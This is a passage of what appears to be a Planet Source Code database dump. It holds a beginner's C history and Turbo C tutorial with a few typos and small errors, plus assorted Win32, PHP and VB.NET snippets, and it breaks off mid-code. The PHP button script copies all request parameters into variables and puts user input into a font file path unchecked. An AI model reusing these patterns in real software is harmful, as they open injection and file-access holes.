many \npeople starting with c into the programming world is a ++ Advantage Knowing the \nlanguage C can create good programmers But many are unaware of the powerful \nfutures of this language My dear friends this language is Awesome Please Try to \nunderstand this Features and i do expect Pure and Powerful programs in C in \nPLANET SOURCE CODE\n \nTHANKS \n \nV stephen antony\n \nwww.stephenonline.tk\n \n \n \nC The worlds most popular language is still the toppest \nlanguage when it comes to serious programming whether in web based(cgi) or in \ncase of stand alone client applications or operating systems only a detailed \nunderstanding of c will help us to know the reason of the success of this \nlanguage so lets go through it \nThe 'C' language was developed at the AT&T Bell Laboratories, USA by Dennis \nRitchie in 1972 on a DEC PDP-II machine. This language is derived from an another \nlanguage called B developed by Ken Thompson of Bell Laboratories in 1970 which \nis devCGeloped from the language BCPL (Basic Combined Programming Language) developed \nby Martin Richard of Cambridge University in 1967 which is derived from the language \nCPL (Combined Programming Language) developed by Cambridge University and the \nUniversity of London in 1963 and it is developed from the lan-guage called ALGOL \n(Algorithmic Language) developed by an International Commit-tee in the year 1960. \nThe 'C' Language was originally developed for programming under UNIX Operating \nsystem, which was developed by Ken Thompson and Dennis Ritchie. After develop-ing \n'C' almost 90% of UNIX operating system is rewritten in C from assembly lan-guage. \nTherefore UNIX and C have a close relationship. \n'C' gives the programmer what he wants, i.e., few restrictions, block structures, \nstandard functions, a compact set of keywords and rich set of data structures. \nFor many years 'C' has no standard. i.e. Every manufacture developed their style \nof 'C' compilers. In 1983 the American National Standards Institute (ANSI) established \na committee named X3J11 created a standard for the 'C' language. The standard \nincludes the character-set, keywords, compiler environment and the function library \netc. \nC is a structured language, which uses the compartmentalization; i.e. A program \nis broken into different modules, each of which is used for a single specific \ntask. This is supported in 'C' by the use of functions. Basically a 'C' program \nis a collection of one or more functions. \n'C' language also supports the programming structures like sequence, selection \nand iteration/looping. However the goto statements are not encouraged in structured \nprogramming, 'C' supports it too. \nEven though 'C' is a high level language it is often called a middle-level language \nbecause it combines the elements of high level language, like structured program-ming, \nmodular programming etc. with the functionalism of the assembly language like \ndirect manipulation of bits, bytes, memory addressees with the help of pointers. \n'C' is a flexible, general-purpose language. i.e. The capability of manipulating \nbits, bytes, memory address makes it well suited for systems programming and the \nhigh-level components makes it suitable for application packages. 'C' is used \nfor writing operating systems like UNIX and MS-DOS and the compilers and interpreters \nfor BASIC, FORTRAN, Pascal, LISP, LOGO etc. Popular application packages like \ndBase, Lotus 1-2-3 and CLIPPER are also written in 'C'. \n'C' language is machine independent and it is a highly portable language. Portable \nmeans that 'C' programs written for one computer/operating system can be run on \nanother with little or no modification. All high-level languages are portable. \n'C' is considered to be highly portable because the machine dependent parts in \n'C' com-pilers are written in 'C'. \nTurbo C compiler is an integrated package. It includes an editor, compiler, linker \nand loader. Every 'C' program file is identified using the ‘.C’ extension. \nThe source code written using the editor is first passed through the C pre-processor. \nThe pre-processor is a program that modifies the source code according to directives \nsup-plied in the program. The Pre-processor Directives begin with the # symbol. \nThey must start in the first column and they are usually placed at the beginning \nof a pro-gram. The pre-processor expands the directives and it’s output, \nthe expanded source code is fed to the 'C' compiler. The compiler translates the \nsource code into the assembly language. The system assembler produces the object \ncode (.obj). This object code has to be linked with support routines from the \n'C' run-time library to obtain the final executable code (.exe). The systems loader \ncan run the executable code. \n'C' Language has no input/output operations. The compiler compiles a language \nof functions, all input and output is done with functions. Because of this feature, \na standard library gives 'C' its most endearing feature is portability. \nEvery function must be defined before it can be used in the program. Every function \ndefinition has two parts, a function header and a body that follows it. The header \ndefines the function’s name and the arguments. The headers of the library \nfunctions are stored in header files with extension .h. So these must be included \nbefore the library functions are used in a 'C' program. \nUsing the Turbo C Compiler \nType tc at the DOS prompt and press ENTER key. The Turbo C integrated environ-ment \ndisplays on the screen. You can use the menu options like save, open, create a \nnew file etc. from the main menu strip which is at the top most line of the screen. \nAfter typing the program you can save it by pressing the F2 key or File?Save com-mand. \nIf necessary give the filename. To execute the program press Ctrl+F9 key combination. \nThe progress window on the screen will show each phase in the crea-tion of the \nexecutable file. If there are no errors, the screen will be cleared and the program \nwill start running. After the program is executed, you will get back to the Turbo \nC environment automatically. You can view the user screen by pressing the Alt+F5 \nkey combination. To return to the Turbo C environment strike any key. \nIf there are any errors in the program, the messages along with the line numbers \nwill be displayed in a separate message window at the bottom of the screen. Pressing \nthe F6 key can make corrections, which place the cursor in the Edit window. After \nmaking corrections save it again and run. \nYou can activate the main menu by pressing the F10 key and then use the arrow \nkeys. You can quit the Turbo C integrated environment by pressing Alt+X key com-bination. \nProgramming Conventions \n‘C’ is a freestyle language i.e., no restriction on program writing. \nStatements can start and end at any column. You can include spaces, tabs and blank \nlines in a program to improve readability. \nA ‘C’ statement is called an expression statement, which is terminated \nby a semico-lon. They are not restricted to one line, can extend to many lines \nand multiple state-ments separated by semicolons can be written in a single line. \n‘C’ is a case-sensitive language. The programs are written in lower \ncase, with some words capitalised. \n‘C’ language implements the concept of structured programming through \ncode blocks. A code block is a logically connected group of program statements \nthat is treated as a unit. A code block is created by placing the sequence of \nstatements between curly brackets ({and}) called braces. \nA ‘C’ program consists of one or more functions and one of they must \nbe called main(). The main() is the first function executed in the program, but \nnot necessarily the first function. The statements of a function are enclosed \nin a code block may contain additional nested blocks and each block keeps their \nvariables as local. \nHeader files with extension .h can be included using the include statement. \ne.g.:- # include <stdio.h> \n \nPlease Download The Full Tutorial and do Rate \nthis Article Your Comments/Doubts Are Welcome !!!!!!"},{"WorldId":3,"id":5942,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":9235,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8840,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1442,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2441,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3026,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3773,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8250,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7507,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":10754,"LineNumber":1,"line":"void TakeScreenShot(char* filename)\n{\n\tkeybd_event(VK_SNAPSHOT, 0x45, KEYEVENTF_EXTENDEDKEY, 0);\n\tkeybd_event(VK_SNAPSHOT, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);\n\tHBITMAP h;\n\t\n\tOpenClipboard(NULL);\n\th = (HBITMAP)GetClipboardData(CF_BITMAP);\n\tCloseClipboard();\n\tHDC hdc=NULL;\n FILE* fp=NULL;\n LPVOID pBuf=NULL;\n BITMAPINFO bmpInfo;\n BITMAPFILEHEADER bmpFileHeader;\n do\n\t{ \n\t\thdc=GetDC(NULL);\n ZeroMemory(&bmpInfo,sizeof(BITMAPINFO));\n bmpInfo.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);\n GetDIBits(hdc,h,0,0,NULL,&bmpInfo,DIB_RGB_COLORS); \n if(bmpInfo.bmiHeader.biSizeImage<=0)\n\t\t\tbmpInfo.bmiHeader.biSizeImage=bmpInfo.bmiHeader.biWidth*abs(bmpInfo.bmiHeader.biHeight)*(bmpInfo.bmiHeader.biBitCount+7)/8;\n if((pBuf = malloc(bmpInfo.bmiHeader.biSizeImage))==NULL)\n {\n MessageBox( NULL, \"Unable to Allocate Bitmap Memory\", \"Error\", MB_OK|MB_ICONERROR);\n\t break;\n\t\t} \n bmpInfo.bmiHeader.biCompression=BI_RGB;\n GetDIBits(hdc,h,0,bmpInfo.bmiHeader.biHeight,pBuf, &bmpInfo, DIB_RGB_COLORS); \n if((fp = fopen(filename,\"wb\"))==NULL)\n {\n\t MessageBox( NULL, \"Unable to Create Bitmap File\", \"Error\", MB_OK|MB_ICONERROR);\n break;\n } \n bmpFileHeader.bfReserved1=0;\n bmpFileHeader.bfReserved2=0;\n bmpFileHeader.bfSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+bmpInfo.bmiHeader.biSizeImage;\n bmpFileHeader.bfType='MB';\n bmpFileHeader.bfOffBits=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER); \n fwrite(&bmpFileHeader,sizeof(BITMAPFILEHEADER),1,fp);\n fwrite(&bmpInfo.bmiHeader,sizeof(BITMAPINFOHEADER),1,fp);\n fwrite(pBuf,bmpInfo.bmiHeader.biSizeImage,1,fp); \n\t}\n\t\n\twhile(false); \n\t\tif(hdc) ReleaseDC(NULL,hdc); \n if(pBuf) free(pBuf); \n if(fp) fclose(fp);\n}"},{"WorldId":3,"id":7438,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1007,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6988,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":69737,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1080,"LineNumber":1,"line":"<?php\n/*\nYou can also download the zip file and some ttf fonts and get additional help and documentation from my website, http://www.drew-phillips.com\nButton Creator 1.0 by Drew Phillips - made July 19 2003\nCopyright 2003 drew-phillips.com\nREQUIREMENTS:\nPHP >= 4.2.0 compiled with GD >= 1.6\nSome TTF Fonts (included)\nA basic knowledge of PHP\nUSAGE:\nThis is intended to be a quick way to generate buttons without \nhaving to manually make images in a graphics program. It also is \nuseful for generating buttons on the fly for use in menus and links.\nThe general syntax for use is\nimg src=button.php?text=Desired%20Text&bg_color=black&font_color=blue&height=35&width=100\nHere are some more examples to get familiar with:\nimg src=button.php?text=Home%20Page&font_face=archtura.ttf&font_color=purple\nimg src=button.php?text=Back&width=150&height=40&bg_color=red&font_color=blue\nHere is the list of usable words in the query string:\ntext=text\t\t\t\t\t- Text of button..This is necessary\nheight=y \t\t\t\t\t- Height of Image\nwidth=x \t\t\t\t\t- Width of Image\nbg_color=color\t\t\t\t- Background color of Image\nfont_color=color\t\t\t\t- Font color of text\nfont_face=face\t\t\t\t- Font face of text\nfont_size=number\t\t\t\t- Font size in pixels\nalign=left|center|right\t\t\t- Horizontal text alignment\nvalign=top|middle|bottom\t\t- Vertical text alignment\nYou may leave any of those parameters out, except text of course and the default \nvalues will be used. The default values can be set down in the configuration \nportion of this script.\nIf you have a default height of 35, width of 100, background color of gold and\ntext of black, a call of:\nimg src=button.php?text=Text\nwill make a 100x35 button, with gold background and black text, with 'Text' as text.\nThe usable colors are:\nblack, blue, crimson, cyan, gold, gray, green, indigo, lavender, lightblue,\nlightgreen, lightgrey, magenta, navy, olive, orange, pink, purple, red, silver, \ntan, violet, white, and yellow.\nYou may add your own colors to the list if you wish, but make sure you add them \nin the following array form:\n\"colorname\" => \"012345678\",\nThe color name is what color you want drawn and the 9 digits are the \nrgb color values, the first three digits represent red from 000 (no red) to 255 (full red),\ndigits, 4-6 are green, and 7-9 are blue. If there are more or less than 9 digits it will \nnot work.\nYou may use hex values in the form of %0A to input values such as spaces, or newlines.\nI wouldn't recommend using newlines because it will mess up the horizontal alignment.\nMaybe in the next version I will fix that problem but right now I wanna get this out.\nHope this works well for you. Enjoy...\n*/\n##################################################################\n##\t\t\t\t\t\t\t\t\t\t ##\n## Configure defaults below\t\t\t\t\t\t ##\t\t\t\n##\t\t\t\t\t\t\t\t\t\t ##\n##################################################################\ndefine(\"DEFAULT_IMG_WIDTH\",100);\n// This is the default width of the image, if none is specified in \n// the query string. Enter an integer value, with no quotes around it\n// Example: define(\"DEFAULT_IMG_WIDTH\",350);\ndefine(\"DEFAULT_IMG_HEIGHT\",35);\n// This is the default height of the image.\n// Enter an integer with no quotes around it.\n// Example: define(\"DEFAULT_IMG_HEIGHT,100);\ndefine(\"DEFAULT_BG_COLOR\",\"red\");\n// This is the default BACKGROUND color of the image.\n// Enter a string, from the available colors shown in \n// the usage section of the documentation\n// Put it in quotes\n// Example: define(\"DEFAULT_BG_COLOR\",\"orange\");\ndefine(\"DEFAULT_FONT_COLOR\",\"white\");\n// This is the default FONT color of the image.\n// Enter a string from the available colors.\n// Put it in quotes\n// Example: define(\"DEFAULT_FONT_COLOR,\"black\");\ndefine(\"DEFAULT_FONT_SIZE\",12);\n// This is the default font size in pixels.\n// 12 is a normal text document size.\n// Enter an integer without quotes.\n// Example: define(\"DEFAULT_FONT_SIZE\",15);\ndefine(\"DEFAULT_VALIGN\",\"middle\");\n// This is the vertical align of the text\n// i.e. how far the top of the text is from the image's top\n// Enter a string of \"top\", \"middle\", or \"bottom\"\n// Example: define(\"DEFAULT_VALIGN\",\"top\");\ndefine(\"DEFAULT_ALIGN\",\"center\");\n// This is the x-alignment of the text\n// i.e. where the text is placed on the x-axis\n// Enter a string of \"left\",\"center\", or \"right\"\n// Example: define(\"DEFAULT_ALIGN\",\"left\");\ndefine(\"FONT_PATH\",\"/home/drew010/www/scripts/gd/fonts\");\n//define(\"FONT_PATH\",\"/home/drew010/www/scripts/gd/fonts\");\n// If you are unaware of the font path on your system, download the font\n// pack that is distributed with this script from www.drew-phillips.com/scripts\n// Unzip them to a folder on your server and put the path above.\n// Put it in quotes, NO trailing slash.\n// Example: define(\"FONT_PATH\",\"/home/username/www/scripts/fonts\");\ndefine(\"DEFAULT_TTF_FILE\",\"luxisr.ttf\");\n// This is the default font file to use.\n// It is located in the FONT_PATH folder. It must be a ttf file.\n// Below are the available colors, you may add your own but follow the syntax\n// explained in the usage section of the documentation.\n$color = array(\"black\" => \"000000000\", \"blue\" => \"000000255\", \"crimson\" => \"220206000\",\n\t\t\t \"cyan\" => \"000255255\", \"gold\" => \"255215000\", \"gray\" => \"128128128\",\n\t\t\t \"green\" => \"000255000\", \"indigo\" => \"075000130\", \"lavender\" => \"230230250\",\n\t\t\t \"lightblue\" => \"173216230\", \"lightgreen\" => \"144238144\", \"lightgrey\" => \"211211211\",\n\t\t\t \"magenta\" => \"255000255\", \"navy\" => \"000000128\", \"olive\" => \"128128000\", \n\t\t\t \"orange\" => \"255165000\", \"pink\" => \"255192203\", \"purple\" => \"128000128\", \n\t\t\t \"red\" => \"255000000\", \"silver\" => \"192192192\", \"tan\" => \"210180140\",\n\t\t\t \"violet\" => \"238130238\", \"white\" => \"255255255\", \"yellow\" => \"255255000\");\n######################### END CONFIGURATION ##############################\n###### No editing below this line unles you know what you are doing ######\nforeach($_REQUEST as $name => $value) {\n\t$$name = $value;\n}\n\t\t\t \nif(!isset($width)) {\n\t$width = DEFAULT_IMG_WIDTH;\n}\nif(!isset($height)) {\n\t$height = DEFAULT_IMG_HEIGHT;\n}\nif(!isset($font_face) || empty($font_face)) {\n\t$font_face = DEFAULT_FONT_FACE;\n}\nif(!file_exists($font_face)) {\n\t$font_face = DEFAULT_TTF_FILE;\n}\nif(!isset($font_size)) {\n\t$font_size = DEFAULT_FONT_SIZE;\n}\n#########################################################\n##\t\t\t\t\t\t\t\t ##\t\n## Get the rgb values for bg_color ##\n##\t\t\t\t\t\t\t\t\t ##\n#########################################################\n$bg_color = strtolower($bg_color);\t\t\t\t #\nif(empty($bg_color) || !isset($bg_color)) {\t\t #\n\t$bg_color = DEFAULT_BG_COLOR;\t\t\t\t #\n}\t\t\t\t\t\t\t\t\t #\n\t\t\t\t\t\t\t\t\t #\nif(!array_key_exists($bg_color,$color)) {\t\t\t #\n\t$bg_color = DEFAULT_BG_COLOR;\t\t\t\t #\n}\t\t\t\t\t\t\t\t\t #\n$bg_rgb = $color[$bg_color];\t\t\t\t\t #\n$bg_r = $bg_rgb[0] . $bg_rgb[1] . $bg_rgb[2];\t\t #\n$bg_g = $bg_rgb[3] . $bg_rgb[4] . $bg_rgb[5];\t\t #\t\n$bg_b = $bg_rgb[6] . $bg_rgb[7] . $bg_rgb[8];\t\t #\n#################### DONE ###############################\n#########################################################\n##\t\t\t\t\t\t\t\t\t #\t\n## Get the rgb values for font_color #\n##\t\t\t\t\t\t\t\t\t #\n#########################################################\n$font_color = strtolower($font_color);\t\t\t #\nif(empty($font_color) || !isset($font_color)) {\t\t #\n\t$font_color = DEFAULT_FONT_COLOR;\t\t\t #\n}\t\t\t\t\t\t\t\t\t #\n\t\t\t\t\t\t\t\t\t #\nif(!array_key_exists($font_color,$color)) {\t\t #\n\t$font_color = DEFAULT_FONT_COLOR;\t\t\t #\n}\t\t\t\t\t\t\t\t\t #\n$ft_rgb = $color[$font_color];\t\t\t\t #\n$ft_r = $ft_rgb[0] . $ft_rgb[1] . $ft_rgb[2];\t\t #\n$ft_g = $ft_rgb[3] . $ft_rgb[4] . $ft_rgb[5];\t\t #\n$ft_b = $ft_rgb[6] . $ft_rgb[7] . $ft_rgb[8];\t\t #\n#################### DONE ###############################\nif(preg_match(\"/\\x0A/\",$text)) {\n\t$strings = preg_split(\"/\\x0A/\",$text);\n\t$multipleLines = TRUE;\n\t$lines = count($strings);\n\t$textHeight = $font_size * $lines;\n}\nif(empty($valign) || !isset($valign)) {\n\t$valign = DEFAULT_VALIGN;\n}\nif($valign == \"top\") {\n\t$py = 5 + $font_size;\n} elseif($valign == \"bottom\") {\n\tif($multipleLines == TRUE) {\n\t\t$py = $height - ($textHeight - ($font_size * $lines));\n\t} else {\n\t$py = $height - 5;\n\t}\n} else {\n\t$py = ($height / 2) + ($font_size / 2);\n}\nif(empty($align) || !isset($align)) {\n\t$align = DEFAULT_ALIGN;\n}\nif($align == \"left\") {\n\t$px = 5;\n} elseif($align == \"right\") {\n\t$px = $width - (strlen($text) * $font_size) / 2;\n} else {\n\tif($multipleLines == TRUE) {\n\t\t$s_length = 0;\n\t\tforeach($strings as $string) {\n\t\t\t$cur_length = strlen($string);\n\t\t\tif($cur_length > $s_length) {\n\t\t\t\t$s_length = $cur_length;\n\t\t\t}\n\t\t}\n\t$px = ($width / 2) - ($font_size * ($s_length / 4));\n\t}\n\t else {\t\n\t$px = ($width / 2) - ($font_size * (strlen($text) / 4));\n\t}\n}\nheader(\"Content-type: image/png\");\n$string = $text;\n$im = imagecreate($width,$height);\n$background_color = imagecolorallocate($im,$bg_r,$bg_g,$bg_b);\n$font_color = imagecolorallocate($im, $ft_r, $ft_g, $ft_b);\nimagettftext($im,$font_size,0,$px,$py,$font_color, FONT_PATH . \"/\" . $font_face,$string);\nimagepng($im);\nimagedestroy($im);\n?>"},{"WorldId":10,"id":1862,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70579,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":2564,"LineNumber":1,"line":"<?php\n/******************************************\n * GD PCX reader *\n * *\n * Author: Ferry Timmers *\n * *\n * Date: 18-12-2008 20:22 *\n * *\n * Desc: Creates a GD image resource from *\n * a specified pcx file. *\n * Needs PCX version 5 *\n * *\n ******************************************/\n//------------------------------------------------------------------------------\nfunction imagecreatefrompcx($filename)\n{\n\tif (!$fp = @fopen($filename, 'rb'))\n\t\treturn (false);\n\t\n\t// * * * Header * * *\n\tfread($fp, 1); // == 0x0A\n\tif (($version = ord(fread($fp, 1))) != 5)\n\t{\n\t\tfclose($fp);\n\t\treturn (false);\n\t}\n\t\n\t$bbp = ord(fread($fp, 2));\n\tlist($xmin, $ymin, $xmax, $ymax) = array_values(unpack('S4', fread($fp, 8)));\n\t$width = $xmax - $xmin + 1;\n\t$height = $ymax - $ymin + 1;\n\t//$size = $width * $height;\n\t\n\tfseek($fp, 54, SEEK_CUR);\n\tlist($bpl) = array_values(unpack('S', fread($fp, 2)));\n\t\n\t// * * * Pallet * * *\n\tfseek($fp, -769, SEEK_END);\n\tif (ord(fread($fp, 1)) != 12)\n\t{\n\t\tfclose($fp);\n\t\treturn (false);\n\t}\n\t\n\t$img = imagecreate($width, $height);\n\t\n\tfor($i = 0; $i < 256; $i++)\n\t{\n\t\tlist($r, $g, $b) = array_values(unpack('C3', fread($fp, 3)));\n\t\t$color[$i] = imagecolorallocate($img, $r, $g, $b);\n\t}\n\t\n\t// * * * Data * * *\n\tfseek($fp, 128, SEEK_SET);\n\t\n\tfor ($y = 0; $y < $height; $y++)\n\t{\n\t\t$x = 0;\n\t\twhile ($x < $bpl)\n\t\t{\n\t\t\t$c = ord(fread($fp, 1));\n\t\t\tif (($c & 0xC0) == 0xC0)\n\t\t\t{\n\t\t\t\t$c &= 0x3F;\n\t\t\t\tif (($c + $x) > $bpl)\n\t\t\t\t\t$c = $bpl - $x;\n\t\t\t\t\n\t\t\t\t$c += $x;\n\t\t\t\t$d = $color[ord(fread($fp, 1))];\n\t\t\t\twhile ($x < $c)\n\t\t\t\t{\n\t\t\t\t\timagesetpixel($img, $x, $y, $d);\n\t\t\t\t\t$x++;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\timagesetpixel($img, $x, $y, $color[$c]);\n\t\t\t\t$x++;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfclose($fp);\n\t\n\treturn ($img);\n}\n//------------------------------------------------------------------------------\n?>"},{"WorldId":3,"id":5898,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1494,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1059,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3484,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5998,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2094,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1357,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1349,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":73583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68071,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3821,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1313,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3029,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3469,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2996,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2937,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6061,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4292,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3992,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4035,"LineNumber":1,"line":"'<pre>\n' Purpose: Create a network share for NT users. You will\n' need to have correct permissions to do this and it can be\n' done to remote computers.\n' We pass in the folder name, path of the folder and \n' description of the share folder.\nPrivate Sub CreateShare(strShareName, strPath, strDescription) \n\tDim objSWbemServices as object \n\tDim objSWbemObject as object \n\tDim colSWbemObject as object \n Dim intRet as integer \n Dim blnExists as boolean \n Dim objSWbem as object \n ' Next we call the standard GetObject function for \n ' returning COM objects and pass it the connection \n ' string for connecting to the WMI.\n objSWbemServices = GetObject(\"winmgmts:\\\\.\\root\\cimv2\") \n ' This same line can be executed on a remote computer \n ' with a differnt connection string like this:\n ' objSWbemServices = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n \n ' Now we enumrate the Shares on the target computer and\n ' return it to a collection\n colSWbemObject = objSWbemServices.InstancesOf(\"Win32_Share\") \n ' Loop through each share on the machine to see if it already exists \n \tFor each objSWbem in colSWbemObject \n \t\tIf(objSWbem.name = strShareName)Then \n\t\t\tblnShareExists = True \n\t\t\tExit For \n\t\tElse \n\t\t\tblnShareExists = False \n\t End If \n\tNext \n\t' if the share didnΓÇÖt exist our Boolean will be false\n\t' and we can try to add it.\n\tIf (blnShareExists = False)Then \n \t' Create the share \n \t' Now we need to get \n \t\tobjSWbemObject = objSWbemServices.Get(\"Win32_Share\") \n \t\t' Last we call the create passing our path, name,\n \t\t' description and 10 is for max number of users \n \tintRet = objSWbemObject.Create(strPath, strShareName, , 10, strDescription) \n Else \n \tmsgbox(\"Folder aready shared\") \n End If \nEnd Sub\n'</pre>\n"},{"WorldId":10,"id":4261,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4515,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3872,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4606,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3651,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5607,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5545,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3905,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3822,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4291,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4644,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4947,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5864,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4093,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3638,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5956,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4153,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6121,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":7268,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5259,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":8564,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3665,"LineNumber":1,"line":"'Add a richtextbox control in ur form<br \nDim sel1, sel2 as Integer \n \nSub Richtextbox1_MouseDown(ByVal sender As System.Object, ByVal e As \nSystem.Windows.Forms.MouseEventArgs) Handles Richtextbox1.MouseDown \nIf Richtextbox1.SelectedText <> \"\" And e.Clicks <> 2 Then \nsel1 = Richtextbox1.SelectionStart \nsel2 = Richtextbox1.SelectionLength \nRichtextbox1.DoDragDrop(Richtextbox1.SelectedRtf, DragDropEffects.Move) \nEnd If \nEnd Sub \n \n \nPrivate Sub Richtextbox1_DragEnter(ByVal sender As Object, ByVal e As \nSystem.Windows.Forms.DragEventArgs) Handles Richtextbox1.DragEnter \ne.Effect = DragDropEffects.Move \nEnd Sub \n \nPrivate Sub Richtextbox1_DragDrop(ByVal sender As Object, ByVal e As \nSystem.Windows.Forms.DragEventArgs) Handles Richtextbox1.DragDrop \nIf Richtextbox1.SelectionStart < sel1 Then \nDim selStart As Int16 = Richtextbox1.SelectionStart \nRichtextbox1.SelectedRtf = e.Data.GetData(DataFormats.Text).ToString() \nRichtextbox1.SelectionStart = sel1 + sel2 \nRichtextbox1.SelectionLength = sel2 \nRichtextbox1.SelectedText = \"\" \nRichtextbox1.SelectionStart = selStart \nEnd If \nIf Richtextbox1.SelectionStart > sel1 + sel2 Then \nRichtextbox1.SelectedRtf = e.Data.GetData(DataFormats.Text).ToString() \nRichtextbox1.SelectionStart = sel1 \nRichtextbox1.SelectionLength = sel2 \nRichtextbox1.SelectedText = \"\" \nEnd If \nEnd Sub\n \n Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load \n RichTextBox1.AllowDrop = True \n End Sub\n"},{"WorldId":10,"id":3865,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3871,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":5127,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4252,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4893,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":676,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4552,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1176,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":4516,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3933,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3354,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":6963,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3657,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3934,"LineNumber":1,"line":"http://www.aspalliance.com/aldotnet/examples/translate.aspx\nso usefull it hurts."},{"WorldId":10,"id":3912,"LineNumber":1,"line":"Imports System.IO\nImports System.IO.Compression\nPublic Class ZipUtil\n Public Sub CompressFile(ByVal sourceFile As String, ByVal destinationFile As String)\n ' make sure the source file is there\n If File.Exists(sourceFile) = False Then\n Throw New FileNotFoundException\n End If\n ' Create the streams and byte arrays needed\n Dim buffer As Byte() = Nothing\n Dim sourceStream As FileStream = Nothing\n Dim destinationStream As FileStream = Nothing\n Dim compressedStream As GZipStream = Nothing\n Try\n ' Read the bytes from the source file into a byte array\n sourceStream = New FileStream(sourceFile, FileMode.Open, FileAccess.Read, FileShare.Read)\n ' Read the source stream values into the buffer\n buffer = New Byte(CInt(sourceStream.Length)) {}\n Dim checkCounter As Integer = sourceStream.Read(buffer, 0, buffer.Length)\n ' Open the FileStream to write to\n destinationStream = New FileStream(destinationFile, FileMode.OpenOrCreate, FileAccess.Write)\n ' Create a compression stream pointing to the destiantion stream\n compressedStream = New GZipStream(destinationStream, CompressionMode.Compress, True)\n 'Now write the compressed data to the destination file\n compressedStream.Write(buffer, 0, buffer.Length)\n Catch ex As ApplicationException\n MessageBox.Show(ex.Message, \"An Error occured during compression\", MessageBoxButtons.OK, MessageBoxIcon.Error)\n Finally\n ' Make sure we allways close all streams\n If Not (sourceStream Is Nothing) Then\n sourceStream.Close()\n End If\n If Not (compressedStream Is Nothing) Then\n compressedStream.Close()\n End If\n If Not (destinationStream Is Nothing) Then\n destinationStream.Close()\n End If\n End Try\n End Sub\n Public Sub DecompressFile(ByVal sourceFile As String, ByVal destinationFile As String)\n ' make sure the source file is there\n If File.Exists(sourceFile) = False Then\n Throw New FileNotFoundException\n End If\n ' Create the streams and byte arrays needed\n Dim sourceStream As FileStream = Nothing\n Dim destinationStream As FileStream = Nothing\n Dim decompressedStream As GZipStream = 